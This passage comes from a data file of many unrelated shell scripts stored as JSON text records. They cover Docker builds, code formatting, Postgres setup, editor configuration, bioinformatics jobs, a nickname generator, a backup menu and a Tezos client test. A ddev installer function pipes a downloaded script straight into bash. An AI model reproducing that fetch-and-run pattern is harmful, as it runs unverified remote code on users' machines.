Python 3 version 3.5 or later to install pydca'\nfi"} {"text": "cclauss/oremda\n#!/usr/bin/env bash\nset -e\n\nscript_dir=$(dirname \"$0\")\n\n# Get the root directory\nroot_dir=$(git rev-parse --show-toplevel)\n\n# First, make sure that oremda is built\n$root_dir/docker/oremda/build.sh\n\ndocker build -t oremda/server -f $script_dir/Dockerfile $script_dir"} {"text": "0\n#!/usr/bin/env bash\n\nexport PROJECT_ID=explorer-152713\nexport clusterName=explorer-cluster\nexport podName=lets-explore-app\n\nexport uiClusterName=explorer-ui-cluster\nexport uiPodName=explorer-ui"} {"text": "#!/bin/bash\n#wasmer grain.hello_v_0.0.0.wasm '{\"name\": \"\"}'\nwasmer grain.hello_v_0.0.0.wasm"} {"text": "#!/bin/bash\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the Apache 2.0 License.\n\nset -u\n\nif [ \"$#\" -eq 0 ]; then\n echo \"No args given - specify dir(s) to be formatted\"\n exit 1\nfi\n\nfix=false\nwhile getopts \":f:\" opt; do\n case $opt in\n f)\n fix=true\n shift\n ;;\n \\?) echo \"Invalid option -$OPTARG\" >&2\n exit\n ;;\n esac\ndone\n\necho \"Checking file format in\" \"$@\"\n\nunformatted_files=\"\"\nfor file in $(find \"$@\" -name \"*.h\" -or -name \"*.hpp\" -or -name \"*.cpp\" -or -name \"*.c\"); do\n # Workaround for https://bugs.llvm.org/show_bug.cgi?id=39216\n d=$(cat \"$file\" | clang-format-7 -style=file --assume-filename \"${file%.*}\".cpp | diff \"$file\" -)\n if $fix ; then\n cat \"$file\" | clang-format-7 -style=file --assume-filename \"${file%.*}\".cpp > \"$file\".tmp\n mv \"$file\".tmp \"$file\"\n fi\n if [ \"$d\" != \"\" ]; then\n if [ \"$unformatted_files\" != \"\" ]; then\n unformatted_files+=$'\\n'\n fi\n unformatted_files+=\"$file\"\n fi\ndone\n\nif [ \"$unformatted_files\" != \"\" ]; then\n echo \"$unformatted_files\"\n exit 1\nelse\n echo \"All files formatted correctly\"\nfi"} {"text": "#!/usr/bin/env sh\n\n#Instead of using xdebug for code coverage\n#we'll use phpdbg, which is the debugger inside php\n\nphpdbg -qrr ./vendor/bin/phpunit"} {"text": "#!/bin/bash\n../../bin/qtr-parquet-schema-gen-cpp ../test_data/test1_v1.parquet-schema.json .\n\n../../bin/qtr-parquet-schema-gen-cpp ../test_data/schema_test_all.parquet-schema.json .\n\nrm -rf build\nmkdir build && cd build\ncmake ..\n\nmake"} {"text": "arupiot/ishiki_client0\n\n# build the image\ndocker buildx build --platform linux/amd64,linux/arm64,linux/arm/v7,linux/arm/v6 -t arupiot/ishiki_client:0.0.10 --push ."} {"text": "#!/usr/bin/env bash\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\n\ndocker build -t nstapelbroek/envoy-edge:0.15 \"$DIR\"/envoy/docker\ndocker buildx build -t nstapelbroek/envoy-swarm-control-plane:0.15 \"$DIR/../../\""} {"text": "package set summary \"Configurable static site generator\"\npackage set webpage \"https://gohugo.io\"\npackage set git.url \"https://github.com/gohugoio/hugo.git\"\npackage set src.url \"https://github.com/gohugoio/hugo/archive/v0.92.0.tar.gz\"\npackage set src.sum \"3ac140757a7322f0a7511d75fb3b1e77e6a0f0c6e4ea1b0afdbebc00e0d0a7d1\"\npackage set license \"Apache-2.0\"\npackage set bsystem \"go\"\n\nbuild() {\n run go build -v -trimpath -ldflags=\"'-s -w'\" -o hugo &&\n run install_bins hugo\n}"} {"text": "#!/usr/bin/env bash\nset -Eeo pipefail\n\n# A helper script which can create an empty database with a new user as specified by\n# the environment variables POSTGRES_DATABASE, POSTGRES_USER and POSTGRES_PASSWORD.\n\ndocker_verify_minimum_env() {\n if [[ -z \"$POSTGRES_USER\" ]]; then\n echo \"Must set POSTGRES_USER\" 2>&1\n exit 1;\n fi\n if [[ -z \"$POSTGRES_DB\" ]]; then\n echo \"Must set POSTGRES_DB\" 2>&1\n exit 1;\n fi\n if [[ -z \"$POSTGRES_PASSWORD\" ]]; then\n echo \"Must set POSTGRES_PASSWORD\" 2>&1\n exit 1;\n fi\n if [[ -z \"$PGDATA\" ]]; then\n echo \"Must set PGDATA\" 2>&1\n exit 1;\n fi\n\t# check password first so we can output the warning before postgres\n\t# messes it up\n\tif [ \"${#POSTGRES_PASSWORD}\" -ge 100 ]; then\n\t\tcat >&2 <<-'EOWARN'\n\t\t\tWARNING: The supplied POSTGRES_PASSWORD is 100+ characters.\n\t\t\t This will not work if used via PGPASSWORD with \"psql\".\n\t\t\t https://www.postgresql.org/message-id/flat/E1Rqxp2-0004Qt-PL%40wrigleys.postgresql.org (BUG #6412)\n\t\t\t https://github.com/docker-library/postgres/issues/507\n\t\tEOWARN\n\tfi\n}\n\n# Execute sql script\ndocker_process_sql() {\n\tlocal query_runner=( psql -v ON_ERROR_STOP=1 --no-password --no-psqlrc --dbname \"$POSTGRES_DB\" )\n\t\"${query_runner[@]}\" \"$@\"\n}\n\n# create initial database\n# uses environment variables for input: POSTGRES_DB\ndocker_setup_db() {\n\tlocal dbAlreadyExists\n\tdbAlreadyExists=\"$(\n\t\tdocker_process_sql --dbname postgres --set db=\"$POSTGRES_DB\" --tuples-only <<-'EOSQL'\n\t\t\tSELECT 1 FROM pg_database WHERE datname = :'db' ;\n\t\tEOSQL\n\t)\"\n\tif [ -z \"$dbAlreadyExists\" ]; then\n\t\tdocker_process_sql --dbname postgres \\\n\t\t --set db=\"$POSTGRES_DB\" \\\n\t\t --set pass=\"$\" \\\n\t\t --set user=\"$POSTGRES_USER\" \\\n\t\t <<-'EOSQL'\n\t\t\tCREATE DATABASE :\"db\";\n\t\t\tcreate user :\"user\" with encrypted password :'';\n\t\t\tgrant all privileges on database :\"db\" to :\"user\";\n\t\tEOSQL\n\tfi\n}\n\n# start postgresql server for setting up or running scripts\ndocker_temp_server_start() {\n\t# internal start of server in order to allow setup using psql client\n\tPGUSER=\"${PGUSER:-$POSTGRES_USER}\" \\\n\tpg_ctlcluster \"$POSTGRES_VERSION\" main start -- -w -o \"-c listen_addresses=''\"\n}\n\n# stop postgresql server after done setting up user and running scripts\ndocker_temp_server_stop() {\n\tPGUSER=\"${PGUSER:-postgres}\" \\\n\tpg_ctlcluster \"$POSTGRES_VERSION\" main stop -- -m fast -w\n}\n\n_main() {\n if [ \"$(id -u)\" = '0' ]; then\n # then restart script as postgres user\n su postgres -c \"${BASH_SOURCE[0]}\" \"$@\"\n else\n ALREADY_SETUP_INDICATOR_FILE=\"$PGDATA/baserow_db_setup\"\n if [ -f \"$ALREADY_SETUP_INDICATOR_FILE\" ]; then\n echo\n echo 'PostgreSQL Database directory appears to contain a database; Skipping initialization'\n echo\n else\n docker_verify_minimum_env\n\n cp -pR \"/var/lib/postgresql/$POSTGRES_VERSION/main/.\" \"$DATA_DIR/postgres/\"\n docker_temp_server_start \"$@\"\n docker_setup_db\n touch \"$ALREADY_SETUP_INDICATOR_FILE\"\n docker_temp_server_stop\n\n echo\n echo 'PostgreSQL init process complete; ready for start up.'\n echo\n fi\n fi\n}\n\n_main \"$@\""} {"text": "0\n#!/bin/sh\npos=\"$1\"\npdffile=\"$2\"\nzathura --synctex-forward \"$pos\" \"$pdffile\" || \\\n (\n zathura -s -x \"emacsclient --eval '(progn (switch-to-buffer (file-name-nondirectory \\\"%{input}\\\")) (goto-line %{line}))'\" \"$pdffile\" &\n sleep 1; zathura --synctex-forward \"$pos\" \"$pdffile\" )\n\nexit"} {"text": "0\n#! /bin/bash\n#\n# build.sh\n# Copyright (C) 2015 truong-d <>\n#\n# Distributed under terms of the MIT license.\n#\n\ngrunt >/tmp/grunt.log 2>&1 &\nwhile true; do\n git pull && sleep 20 && git add --all . && git commit -m \"Update site\" && git push origin source && grunt deploy\nsleep 30\ndone"} {"text": "#!/bin/bash\n# bash script to be sourced from popOS_setup.sh\n\n# Install .vimrc\nSeparate\nprintf \"Successfully installed \\e[36mVim\\e[00m, configuring...\\n\"\ncat \"$script_location/samples/vimrc\" | \\\n\tsudo tee /root/.vimrc /root/.vimrc-og | \\\n\ttee ~/.vimrc ~/.vimrc-og >/dev/null\n\nread -rp \"$(printf \"Do you want to set \\e[01mVim\\e[00m as the default \\e[35m\\$EDITOR\\e[00m? (Y/n) \")\" DEF\nread -rp \"$(printf \"Do you want to use \\e[01mPowerline\\e[00m in Vim? (Y/n) \")\" PWL\n\n# Set vim as the default EDITOR\nif [ \"${DEF,,}\" = \"y\" -o -z \"$DEF\" ]; then\n\tset_default_editor() {\n\t\tprintf \"Setting \\e[01mVim\\e[00m as the default editor...\\n\"\n\t\tsudo mkdir -p /etc/profile.d\n\t\tsudo rm /etc/profile.d/nvim-default-editor*sh 2>/dev/null\n\n# .sh file\nprintf \"# Ensure vim is set as EDITOR if it isn't already set\n\nif [ -z \\\"\\$EDITOR\\\" ]; then\n\texport EDITOR=\\\"%s\\\"\nfi\\n\" $(which vim) | sudo tee /etc/profile.d/vim-default-editor.sh >/dev/null\n\n# .csh file\nprintf \"# Ensure vim is set as EDITOR if it isn't already set\n\nif ( ! (\\$?EDITOR) ) then\n\tsetenv EDITOR \\\"%s\\\"\nendif\\n\" $(which vim) | sudo tee /etc/profile.d/vim-default-editor.csh >/dev/null\n\t}\n\tset_default_editor &\nfi\n\n# Install powerline for vim\nif [ \"${PWL,,}\" = \"y\" -o -z \"$PWL\" ]; then\n\tprepare_powerline() {\n\t\tprintf \"Installing \\e[01mPowerline\\e[00m for Vim...\\n\"\n\t\tsudo pip3 install powerline-status &>/dev/null && \\\n\t\t\tprintf \"\nif &term !=? 'linux'\n\t\\\" Disable dynamic statusline\n\taugroup statusline\n\t\tau!\n\taugroup end\n\t\\\" Powerline\n\tset rtp+=%s\n\tset laststatus=2\n\tset showtabline=1\n\tset noshowmode\n\tset t_Co=256\nendif\\n\" \"$(pip3 show powerline-status 2>/dev/null | grep Location | cut -d ' ' -f 2-)/powerline/bindings/vim\" | \\\n\ttee -a ~/.vimrc | sudo tee -a /root/.vimrc >/dev/null\n\t}\n\tprepare_powerline &\nfi\n\n# If neovim was also installed, write some code so the user can check the\n# editor they're running\nwhich nvim &>/dev/null && printf \"\n\\\" Simple check to see if you're in nvim or vim\nfunction! Checkeditor()\n\tif has('nvim') | echo 'nvim' | else | echo 'vim' | endif\nendfunction\ncommand! Checkeditor call Checkeditor()\\n\" | \\\n\tsudo tee -a \"/root/.vimrc\" | \\\n\ttee -a \"$HOME/.vimrc\" >/dev/null\n\n# Wait for subprocesses to be over, and unset vars and functions to avoid contamination\nwait\nunset DEF PWL set_default_editor prepare_powerline"} {"text": "evmrun.sh\n#!/bin/bash\nCODE=61ffff6000601f376000611f005261FEFE611f008051600101808252600802019081517fffffffffffffffffffffffffffffffffffffffffffffffff00000000000000001601905261FDFD611f008051600101808252600802019081517fffffffffffffffffffffffffffffffffffffffffffffffff00000000000000001601905261FCFC611f008051600101808252600802019081517fffffffffffffffffffffffffffffffffffffffffffffffff000000000000000016019052611f008051600181038252600802015167ffffffffffffffff16611f005100\n\nDATA=00000000000000000000000000000000000000000000000000000000000000030000000000000009000000000000000100000000000000050000000000000001000000000000000a0000000000000002000000000000000800000000000000020000000000000006000000000000000000000000000000040000000000000002\n\nCOMMAND=\"evm --code $CODE --debug --input $DATA --nomemory run\"\n\necho $COMMAND\neval $COMMAND 2> output.txt"} {"text": "0\n#!/bin/bash\n# new format is imagescan $logdir $file $start $end\n# make sure logdir doesn't end up scanned!\nLOGDIR=$1\nIMAGE=$2\nBLKSZS=\"1024 4096 8192\"\n\nmkdir -p $1\n\n# we don't do this for disk images\n#sha1 $1 >> $LOGDIR/full.scores\n\n#SIZESTR=`stat -c %s $2`\n#let size=$SIZESTR\ndeclare -i START\ndeclare -i END\nlet START=$3\nlet END=$4\n\n#echo $1 $2 $3 $4\n#echo $START $END\n\ndeclare -i blksz\n\nfor blksz in $BLKSZS; do\n\tdeclare -i off=$START/$blksz;\n\tdeclare -i end=$END/$blksz\n\twhile [ $off -le $end ]; do\n\t\tHASH=`dd if=$IMAGE skip=$off bs=$blksz skip=$off count=1 2>/dev/null| /usr/plan9/bin/sha1sum`\n\t\techo $HASH >> $LOGDIR/$blksz.scores\n\t\tlet off=off+1\n\tdone\ndone"} {"text": "elviric/NEAR-RL-Hack20201-10\ncd ~/Documents/nearcore\npython scripts/start_unittest.py --image=nearprotocol/nearcore:master"} {"text": "0\ndev() {\n if [[ $1 =~ '^(-h|--help)$' ]]; then\n cat <] []\n\nExample: dev npm install\nHELP\n\n return\n fi\n\n if [[ $# == 0 ]]; then\n ddev ssh\n\n return\n fi\n\n case $1 in\n start )\n ddev start && ddev launch &>/dev/null\n return\n ;;\n stop )\n ddev stop\n return\n ;;\n mails )\n ddev launch -m &>/dev/null\n return\n esac\n\n ddev exec -- \"$@\"\n}\n\nddev-install() {\n if command -v brew > /dev/null; then\n brew install 'drud/ddev/ddev'\n\n return\n fi\n\n wget -q -O - https://raw.githubusercontent.com/drud/ddev/master/scripts/install_ddev.sh | bash\n}\n\nddev-upgrade() {\n if command -v brew > /dev/null; then\n if brew list --version 'drud/ddev/ddev' > /dev/null; then\n brew upgrade 'drud/ddev/ddev'\n\n return\n fi\n fi\n\n ddev-install\n}\n\nddev-project-root() {\n local dir=\"${PWD}\"\n\n while [[ -n \"${dir}\" ]]; do\n if [[ -e \"${dir}/.ddev/config.yaml\" ]]; then\n echo \"${dir}\" && return 0\n fi\n\n dir=\"${dir%/*}\"\n done\n\n return 1\n}\n\ndeclare -g -A _zsh_plugin_ddev_tools=()\n\nddev-use-tool() {\n local tool=\"${1}\"\n\n if [[ $# == 0 ]]; then\n for tool in \"${(@k)_zsh_plugin_ddev_tools}\"; do\n echo \"${tool}\"\n done\n\n return\n fi\n\n if [[ -v \"_zsh_plugin_ddev_tools[${tool}]\" ]]; then\n return\n fi\n\n _zsh_plugin_ddev_tools[${tool}]=\"$(/usr/bin/which \"${tool}\")\"\n\n \"${tool}\"() {\n local tool=\"${funcstack[-1]}\"\n\n if ddev-project-root > /dev/null; then\n ddev exec -- \"${tool}\" \"$@\"\n\n return\n fi\n\n local executable=\"$(/usr/bin/which \"${tool}\")\"\n\n if [[ -z \"${executable}\" ]]; then\n echo \"DDEV: Local \\\"${tool}\\\" is not available.\" >&2\n\n return 1\n fi\n\n if [[ \"${executable}\" == \"${tool}\" ]]; then\n command \"${executable}\" \"$@\"\n\n return\n fi\n\n \"${executable}\" \"$@\"\n }\n}\n\nfor tool in $ZSH_PLUGIN_DDEV_TOOLS; do\n ddev-use-tool \"${tool}\"\ndone"} {"text": "#!/usr/bin/env bash\n\n#See below to set yarn and executor memory options right\n#http://stackoverflow.com/questions/38331502/spark-on-yarn-resource-manager-relation-between-yarn-containers-and-spark-execu\n#example parameters (data must be in /path/to/contigs in fasta format directory must exist)\n#./blast_search.sh /path/to/contigs /data/output example\n\nTAXONOMY=viruses #Use some top level Blast taxonomy name from in https://www.ncbi.nlm.nih.gov/Taxonomy/Browser/wwwtax.cgi\nDEPLOY_MODE=client\nSCHEDULER_MODE=FIFO\nCLASSPATH=virapipe-0.9-jar-with-dependencies.jar\nINPUT_PATH=${1} #path to HDFS input directory\nOUTPUT_PATH=${2} #path to HDFS output directory\nTEMP_PATH=${OUTPUT_PATH}/temp #path to temp directory in HDFS\nLOCAL_TEMP_PATH=/temp #path to temp directory in local filesystem of every node\nBLAST_TASK=megablast #other option is blastn which is default\nBLAST_DATABASE=/database/blast/nt #path to local fs\nBLAST_HUMAN_DATABASE=/database/blast/hg\nBLAST_THREADS=12\n#EX_MEM=${4}\n#NUM_EX=${7}\n#EX_CORES=${8}\n#export BLASTDB=$BLASTDB:$BLAST_DATABASE;$BLAST_HUMAN_DATABASE\n\n#Blast against human db and filter out human matches\nspark-submit --master yarn --deploy-mode ${DEPLOY_MODE} --conf spark.dynamicAllocation.enabled=true --conf spark.dynamicAllocation.cachedExecutorIdleTimeout=100 --conf spark.shuffle.service.enabled=true --conf spark.scheduler.mode=${SCHEDULER_MODE} --conf spark.task.maxFailures=100 --conf spark.yarn.max.executor.failures=100 --executor-memory 50g --conf spark.yarn.executor.memoryOverhead=10000 --class org.ngseq.metagenomics.BlastNFilter ${CLASSPATH} -in ${INPUT_PATH} -out ${OUTPUT_PATH}/blast_nonhuman -db ${BLAST_HUMAN_DATABASE} -task megablast -outfmt 6 -threshold 70 -num_threads ${BLAST_THREADS}\n#Blast non human contigs per file in parallel\nspark-submit --master yarn --deploy-mode ${DEPLOY_MODE} --conf spark.dynamicAllocation.enabled=true --conf spark.dynamicAllocation.cachedExecutorIdleTimeout=100 --conf spark.shuffle.service.enabled=true --conf spark.scheduler.mode=${SCHEDULER_MODE} --conf spark.task.maxFailures=100 --conf spark.yarn.max.executor.failures=100 --executor-memory 50g --conf spark.yarn.executor.memoryOverhead=10000 --class org.ngseq.metagenomics.BlastN ${CLASSPATH} -in ${OUTPUT_PATH}/blast_nonhuman -out ${OUTPUT_PATH}/blast_final -num_threads ${BLAST_THREADS} -taxname ${TAXONOMY}"} {"text": "#!/usr/bin/env bash\n#title :start_vm.sh\n#description :Start a VirtualBox VM headless\n#author :cjohnson\n#date :20160513\n#version :0.1\n#usage :./start_vm.sh\n#notes :N/A\n#bash_version :4.2.42(1)-release\n#============================================================================\n\n\n#---------------------------------------------------\n#Vars\n#---------------------------------------------------\n\n#Edit these vars as needed\nTIMESTAMP=$(date +%F-%H:%M)\nUSER=$(whoami)\nLOG=\"script.log\"\n\n#---------------------------------------------------\n#Functions\n#---------------------------------------------------\n\n#---------------------------------------------------\n#Main Processing\n#---------------------------------------------------\n\nclear screen\n\nif test -z \"$1\"\nthen\necho \"This script will start a VBox image\"\necho \"Would you like to continue? \"\necho \"Enter yes or no\"\nread TXT\nif [[ $TXT = no ]]; then\n exit 1\nfi\necho \"#########################################################\"\necho \"What is the name of the VBox image you wish to start? >\"\necho \"#########################################################\"\necho \"VBox Images\"\necho \"Please enter the name of the image as it appears in the list:\"\necho \"#########################################################\"\nvboxmanage list vms\nread VBox\n vboxmanage startvm $VBox\nelse\n vboxmanage startvm $1\nfi\necho \"#########################################################\"\necho \"Currently running VBox Images\"\nvboxmanage list runningvms\n\n#---------------------------------------------------\n#Footer\n#---------------------------------------------------"} {"text": "# export CATALINA_OPTS=\"$CATALINA_OPTS -Xms2048M\"\n# export CATALINA_OPTS=\"$CATALINA_OPTS -Xmx2048M\"\nCATALINA_OPTS=-Dgw.pc.env=sqlserver1"} {"text": "#!/bin/bash\nVERSION='1.0.2-Bash'\nAUTHOR='oliwier975PL & workonfire'\nGSN_DIR=$(dirname \"$(readlink -f \"$0\")\")\n\necho -ne \"\\033]0;GSN\\007\"\n\necho -e \"\\e[97m ( ) \"\necho -e \"\\e[93m ( )\\\\ ) ( /( \"\necho -e \"\\e[33m )\\\\ ) (()/( )\\\\()) \"\necho -e \"\\e[91m(()/( /(_))((_)\\\\ \"\necho -e \"\\e[31m /(_))_ (_)) _((_) \"\necho -e \"(_)) __|/ __| | \\\\| | \"\necho -e \" | (_ |\\\\__ \\\\ | .\\` | \"\necho -e \" \\\\___||___/ |_|\\\\_| \\e[39m\\n\"\n\necho \"Generator Spierdolonych Nicków v${VERSION}\"\necho -e \"\\e[93mby ${AUTHOR}\\e[39m\\n\"\n\nwhile true; do\n echo -n \"Ilość nicków do wygenerowania: \"\n read how_many_times\n \n if [[ $how_many_times =~ ^[0-9] ]]; then\n break\n fi\n \n echo -e \"\\e[31mPodaj poprawne wartości.\\e[39m\"\ndone\n\nif [[ $how_many_times -eq '69' ]]; then\n echo -e \"\\e[91m▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄\"\n echo -e \"\\e[93m██ ███ █▄▄ ██▄██ ██ █ ▄▀▄ ██\"\n echo -e \"\\e[92m██ █ █ █▀▄███ ▄█ ██ █ █▄█ ██\"\n echo -e \"\\e[94m██▄▀▄▀▄█▄▄▄█▄▄▄██▄▄▄█▄███▄██\"\n echo -e \"\\e[95m▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀\\e[39m\"\nfi\n\nwhile true; do\n echo -n \"Maksymalna ilość znaków: \"\n read max_length\n\n if [[ $max_length =~ ^[0-9] ]]; then\n break\n fi\n\n echo -e \"\\e[31mPodaj poprawne wartości.\\e[39m\"\ndone\n\necho -e \"\\e[31mUWAGA: Jeśli jakieś nicki będą przekraczały ustalony limit znaków, zostaną one przycięte.\\e[39m\"\n\necho -n \"Zapisać wynik do pliku? (y/N): \"\nread save_to_file\n\necho -n \"Doklejać losową liczbę? (y/N): \"\nread generate_number\n\necho -n \"Usunąć polskie znaki? (y/N): \"\nread strip_polish_chars\n\nif [[ ${strip_polish_chars,} == 'y' ]]; then\n adjectives=(`iconv -f utf-8 -t ascii//translit \"${GSN_DIR}\"/dictionaries/adjectives.txt`)\n nouns=(`iconv -f utf-8 -t ascii//translit \"${GSN_DIR}\"/dictionaries/nouns.txt`)\nelse\n readarray -t adjectives < \"${GSN_DIR}\"/dictionaries/adjectives.txt\n readarray -t nouns < \"${GSN_DIR}\"/dictionaries/nouns.txt\nfi\n\ngenerated_nicknames=()\necho -e \"Generowanie nicków...\\n\"\n\nfor ((i=1; i<=how_many_times; i++)); do\n adjective=${adjectives[$(($RANDOM % ${#adjectives[@]}))]}\n noun=${nouns[$(($RANDOM % ${#nouns[@]}))]}\n if [[ $(($RANDOM % 2)) -eq 1 ]]; then\n noun=\"_${noun}\"\n else\n noun=\"${noun^}\"\n fi\n generated_nick=\"${adjective}${noun}\"\n if [[ ${generate_number,} == 'y' ]]; then\n generated_nick=\"${generated_nick}$(($RANDOM % 100 + 1))\"\n fi\n if [[ ${#generated_nick} -gt $max_length ]]; then\n generated_nick=\"${generated_nick:0:$max_length}\"\n fi\n generated_nicknames+=( $generated_nick )\n echo -e \"\\e[96m>> $generated_nick\"\ndone\n\necho -e \"\\n\\e[92mGotowe.\\e[39m\"\n\nif [[ ${save_to_file,} == 'y' ]]; then\n printf '%s\\n' \"${generated_nicknames[@]}\" > output.txt\n echo -e \"\\e[92mZapisano nicki do pliku.\\e[39m\"\nfi"} {"text": "#!/bin/bash\nif [ -d \"build/linux\" ]\nthen\n echo \"===========================\"\n echo \"Found existsing linux build\"\n echo \"Deleting build/linux\"\n echo \"===========================\"\n rm -rf build/linux\n\n echo \"========================\"\n echo \"Running ./build-linux.sh\"\n echo \"========================\"\n ./build-linux.sh ../linux\nelse\n echo \"========================\"\n echo \"Running ./build-linux.sh\"\n echo \"========================\"\n ./build-linux.sh ../linux\nfi\n\nif [ -f \"stretch.img\" ]\nthen\n echo \"====================\"\n echo \"Deleting stretch.img\"\n echo \"====================\"\n rm stretch.img\nfi\n\nif [ -f \"stretch.id_rsa\" ]\nthen\n echo \"=======================\"\n echo \"Deleting stretch.id_rsa\"\n echo \"=======================\"\n rm stretch.id_rsa\nfi\n\nif [ -f \"stretch.id_rsa.pub\" ]\nthen\n echo \"===========================\"\n echo \"Deleting stretch.id_rsa.pub\"\n echo \"===========================\"\n rm stretch.id_rsa.pub\nfi\n\necho \"=========================\"\necho \"Running ./create-image.sh\"\necho \"=========================\"\n./create-image.sh"} {"text": "#!/bin/bash\nrsync -av :/var/dockerdata/dns/bind/* bind/"} {"text": "menu-initial-final.sh0\n# ! usr/bin/env bash\n# backup manager : utilisé de sauvegarde automatique\n# public concerné : admin r&s\n\n# active le mode debug, commenter pour desactiver !\n#set -x\n\n# Déclaration des variables.\n\n# chemin relatif du script de sauvegarde. Pour le relancer si nécéssaire !\nDIR=$(dirname $(readlink -f $0))\n\n# date et temps\nDATE=$(date +%y-%m-%d-%H-%M-%S)\n\n# chemin du repertoire de stockage local.\nREPBACKUP=$\"/Sauvegardes/Backup\"\n\n# ici le repertoire $home pour tester la validité du script simplement.\nCIBLE=\"$HOME/* \"\n\nLOCALSPACE=$(df -kh --output=avail $HOME)\n\n# test uid utilisateur.\nif [ $(id -u) -ne 0 ]\n\nthen\n\n echo \" \"\n echo \"- Les droits Admin sont nécéssaires !\"\n echo \" \"\n echo \"- Assurez vous que Sudo est installé sur le système,\"\n echo \" \"\n echo \"- Si vous n'êtes pas sûr de ce que vous devez faire,\"\n echo \" \"\n echo \"- Contactez votre administrateur !\"\n echo \" \"\n\n # Conditionnel oui / non, donne la valeur à LOGROOT\nread -p \"- Vous loguez avec sudo, [oui/non] ? : \" LOGROOT\n\n# Si la variable contient la valeur 'non', alors !\n if [ $LOGROOT == \"non\" ]\n\n then\n\n echo \"- Fermeture du script !\"\n exit 1\n\n # Sinon demande le mot de passe sudo et relance le script.\n else\n\n sudo -S --login bash $DIR/$0\n\n fi\n\nelse\n\n # choix sauvegarde et ou restauration .\n\n echo \"l'espace disque local disponible est de $LOCALSPACE\"\n\n if [ $SAVBAK == \"save\" ]\n\n then\n\n # crée l'archive tar au format zip !\n # modifier l'argument correspondant à la compression désiré.\n tar -cvzpf $REPBACKUP/backup-$DATE.tar.gz $CIBLE\n\n else\n\n # Restaure l'archive !\n tar -xzf $REPBACKUP/backup.tar.gz -C $HOME\n\n\n fi\n\nfi\n\n echo \"- Terminée !\"\n\n\n\nSAV=$1\n\nwhile [ -z \"$SAV\" ]\n\ndo\n\tread -p \" Faire une sauvegarde ou un backup [sauvegarde/restoration] ? \" SAV\n\tif [[ \"$SAV\" == \"sauvegarde\" ]]\n\n\tthen\nFREE=$2\n\n\t\tif [ ! -e \"/media/cdrom\" ] #check si le volume de stockage est présent\n\t\t\tthen\n\t\t\t\techo \"Erreur, volume de sauvegarde absent\"\n\t\t\t\texit\n\t\t\telse\n\t\t\t\tdf -hlP /media/cdrom #affichage espace libre\n\t\tfi\n\n\t\tif [[ $FREE -lt 10485760 ]] # si espace libre < 10GB\n\t\t\tthen\n\t\t\t\techo \"Espace libre insuffisant\"\n\n\t\tfi\n\n\telif [[ \"$SAV\" == \"restoration\" ]]; then\n\t#statements\n\n\tif [ ! -e \"/media/cdrom\" ] #check si le volume de stockage est présent\nthen\n\techo \"Erreur, volume de sauvegarde absent\"\n\texit\nelse\n\tdf -hlP /media/cdrom #affichage espace libre\nfi\n\nif [[ $FREE -lt 10485760 ]] # si espace libre < 10GB\nthen\n\techo \"Espace libre insuffisant\"\n\nfi\n\n\telse\n\t\techo \"Vous devez saisir sauvegarde pour enregistret vos fichies et saisir réstauration pour retrouver vos anciens fichiers \"\n\tfi\ndone"} {"text": "hinshun/tezos\n#! /usr/bin/env bash\n\nset -e\n\ntest_dir=\"$(cd \"$(dirname \"$0\")\" && echo \"$(pwd -P)\")\"\nsource $test_dir/test_lib.inc.sh \"$@\"\n\nstart_node 1\nactivate_alpha\n\n$client -w none config update\n\nsleep 2\n\n#tests for the rpc service raw_context\n$client rpc get '/chains/main/blocks/head/context/raw/bytes/non-existent' | assert 'No service found at this URL'\n$client rpc get '/chains/main/blocks/head/context/raw/bytes/delegates/?depth=3' | assert '{ \"ed25519\":\n { \"02\": { \"29\": null }, \"a9\": { \"ce\": null }, \"c5\": { \"5c\": null },\n \"da\": { \"c9\": null }, \"e7\": { \"67\": null } } }'\n$client rpc get '/chains/main/blocks/head/context/raw/bytes/non-existent?depth=-1' | assert 'Unexpected server answer'\n$client rpc get '/chains/main/blocks/head/context/raw/bytes/non-existent?depth=0' | assert 'No service found at this URL'\n\nbake\n\nkey1=foo\nkey2=bar\nkey3=boo\nkey4=king\nkey5=queen\n# key6=p256\n\n$client gen keys $key1\n$client gen keys $key2 --sig secp256k1\n$client gen keys $key3 --sig ed25519\n# $client gen keys $key6 --sig p256\n\n$client list known addresses\n$client get balance for bootstrap1\n\nbake_after $client transfer 1,000 from bootstrap1 to $key1\nbake_after $client transfer 2,000 from bootstrap1 to $key2\nbake_after $client transfer 3,000 from bootstrap1 to $key3\n# bake_after $client transfer 4,000 from bootstrap1 to $key6\n\n$client get balance for $key1 | assert \"1000 ꜩ\"\n$client get balance for $key2 | assert \"2000 ꜩ\"\n$client get balance for $key3 | assert \"3000 ꜩ\"\n\nbake_after $client transfer 1,000 from $key2 to $key1 -fee 0\n$client get balance for $key1 | assert \"2000 ꜩ\"\n$client get balance for $key2 | assert \"1000 ꜩ\"\n\nbake_after $client transfer 1,000 from $key1 to $key2\n$client get balance for $key1 | assert \"999.95 ꜩ\"\n$client get balance for $key2 | assert \"2000 ꜩ\"\n\n# Should fail\n# $client transfer 999.95 from $key2 to $key1\n\nbake\n\n$client remember script noop file:contracts/noop.tz\n$client typecheck script file:contracts/noop.tz\nbake_after $client originate contract noop \\\n for $key1 transferring 1,000 from bootstrap1 \\\n running file:contracts/noop.tz\n\nbake_after $client transfer 10 from bootstrap1 to noop -arg \"Unit\"\n\n\nbake_after $client originate contract hardlimit \\\n for $key1 transferring 1,000 from bootstrap1 \\\n running file:contracts/hardlimit.tz -init \"3\"\nbake_after $client transfer 10 from bootstrap1 to hardlimit -arg \"Unit\"\nbake_after $client transfer 10 from bootstrap1 to hardlimit -arg \"Unit\"\n\nbake_after $client originate account free_account for $key1 \\\n transferring 1,000 from bootstrap1 -delegatable\n$client get delegate for free_account\n\nbake_after $client register key $key2 as delegate\nbake_after $client set delegate for free_account to $key2\n$client get delegate for free_account\n\n$client get balance for bootstrap5 | assert \"4000000 ꜩ\"\nbake_after $client transfer 400,000 from bootstrap5 to bootstrap1 -fee 0\nbake_after $client transfer 400,000 from bootstrap1 to bootstrap5 -fee 0\n$client get balance for bootstrap5 | assert \"4000000 ꜩ\"\n\nbake_after $client activate account $key4 with king_commitment.json\nbake_after $client activate account $key5 with queen_commitment.json\n\n$client get balance for $key4 | assert 